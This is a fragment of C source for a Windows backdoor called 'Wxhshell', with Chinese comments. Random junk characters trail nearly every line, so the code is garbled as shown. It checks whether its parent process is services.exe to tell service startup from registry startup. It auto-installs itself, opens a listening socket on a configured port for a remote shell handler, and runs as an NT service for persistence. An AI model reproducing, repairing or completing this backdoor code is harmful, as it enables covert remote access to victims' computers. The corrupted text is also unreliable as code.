ULONG UniqueProcessId; a;T[%'in
ULONG InheritedFromUniqueProcessId; y{I[}$k
} PROCESS_BASIC_INFORMATION; 8 E+C:"
[Pc[{(
PROCNTQSIP NtQueryInformationProcess; $SGA60q
[d~bZS|(T(
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (Cd{#j<
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; z "$d5XR
!Fg4Au
HANDLE hProcess; f3>6:(
PROCESS_BASIC_INFORMATION pbi; v:Z4z6M-
N?{1'=Om
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); pW--^aHu
if(NULL == hInst ) return 0; 4|41^B5Y
1
u_24
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .C;_4jE
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); n,:.]3v%
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _AB9BQm
?&<o_/`-H5
if (!NtQueryInformationProcess) return 0; c[RLYu
a(DZGQ-as
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y{2d4VoW6
if(!hProcess) return 0; `CEj 4
=>ztB w\
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <CKmMZ{
OC>_=i$'
CloseHandle(hProcess); Ar7mH4M
Z t+FRR=
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); P:,
x?T?J^
if(hProcess==NULL) return 0; T\
}v$A03
?-:: {2O)
HMODULE hMod; *:tjxC
char procName[255]; :Ip:sRz
unsigned long cbNeeded; 46P6Bwobh
69j~?w)^
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &<|-> *v
FJ(B]n[>
CloseHandle(hProcess); oYh<k
[+MX$y
if(strstr(procName,"services")) return 1; // 以服务启动 Xz.Y-5)
$K_YC~
return 0; // 注册表启动 2
ssj(Qo
} fxoi<!|iGY
Ag4Ga?&8ec
// 主模块 -6~y$c&c
int StartWxhshell(LPSTR lpCmdLine) Z'*Z@u3
{ 7kX$wQZ_
SOCKET wsl; YaNH.$.:
BOOL val=TRUE; #W%)$kc
int port=0; L}jF#*Q%
struct sockaddr_in door; vG<pc_ak
?9gTk
\s?R
if(wscfg.ws_autoins) Install(); %V(N U_o
uJam
$V
port=atoi(lpCmdLine); mhi90J c
pjHRV[`AP
if(port<=0) port=wscfg.ws_port; v]{uxlh
o%WjJ~!zL
WSADATA data; w0j/\XN2s
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; yB4H3Q )
0oj{e9h
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; }\u% )uZ
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 'LbeL1ca
door.sin_family = AF_INET; 8hK P
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6snOMa GRu
door.sin_port = htons(port); ;w6fM
Gl8&FrR
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { O%JsUKV
closesocket(wsl); EwD3d0udL
return 1; '-PMF~~S
} Vp]D
"rx^M*"
if(listen(wsl,2) == INVALID_SOCKET) { ^K.u
~p
closesocket(wsl); phgexAq
return 1; 6vgBqn[
} 8@%mnyQ
Wxhshell(wsl); N=T.l*8
WSACleanup(); EY)Gi`lK
hH1lgc
return 0; EzIs@}
2T@L{ ql
} .;HIEj zq
J}(6>iuQY?
// 以NT服务方式启动 ;;?vgrz
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ```d:f
{ C1T=O
DWORD status = 0; a4T~\\,dZ>
DWORD specificError = 0xfffffff; ?AnjD8i
2<'`^AO@
serviceStatus.dwServiceType = SERVICE_WIN32; e`Co,>W/
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ss`P QN
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -*|:v67C&
serviceStatus.dwWin32ExitCode = 0; /BMtcCPG!
serviceStatus.dwServiceSpecificExitCode = 0; +%Lt". o
serviceStatus.dwCheckPoint = 0; `s`C{|wv
serviceStatus.dwWaitHint = 0; /}w#Jk4pD
y7JZKtsFA
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); WgA`kT
if (hServiceStatusHandle==0) return; ^Ue0mC7m
H\fcY p6
status = GetLastError(); JAlU%n?R
if (status!=NO_ERROR) U~*c#U"bh
{ iUI y,Y
serviceStatus.dwCurrentState = SERVICE_STOPPED;
@8=vFP'
serviceStatus.dwCheckPoint = 0; g@@&sB-A"
serviceStatus.dwWaitHint = 0; l] _b;iux
serviceStatus.dwWin32ExitCode = status; <Zp^lDxa
serviceStatus.dwServiceSpecificExitCode = specificError; Mny'9hsl
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0%s3Mp6H
return; L`UG=7r q
} Q PFeBl
2'wr={>W
serviceStatus.dwCurrentState = SERVICE_RUNNING; Gz>Lqd
serviceStatus.dwCheckPoint = 0; |1(rr%
serviceStatus.dwWaitHint = 0; EJZ@p7*Oj
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {J~(#i
k
} g ?afX1Sg
g.x=pt
// 处理NT服务事件,比如:启动、停止 2yN%~C?$
VOID WINAPI NTServiceHandler(DWORD fdwControl) a-]hW=[
{ K1T1@ j
switch(fdwControl) e(yQKwVD
{ 1$$37?FE
case SERVICE_CONTROL_STOP: {ITv&5?>
serviceStatus.dwWin32ExitCode = 0; W.A1m4l58R
serviceStatus.dwCurrentState = SERVICE_STOPPED; ~{L.f94N
serviceStatus.dwCheckPoint = 0; J3B6X 8P'
serviceStatus.dwWaitHint = 0; +
<Z+-
{ Z-)[1+Hs
SetServiceStatus(hServiceStatusHandle, &serviceStatus); #B @X
} i`prv&
return; VpkD'<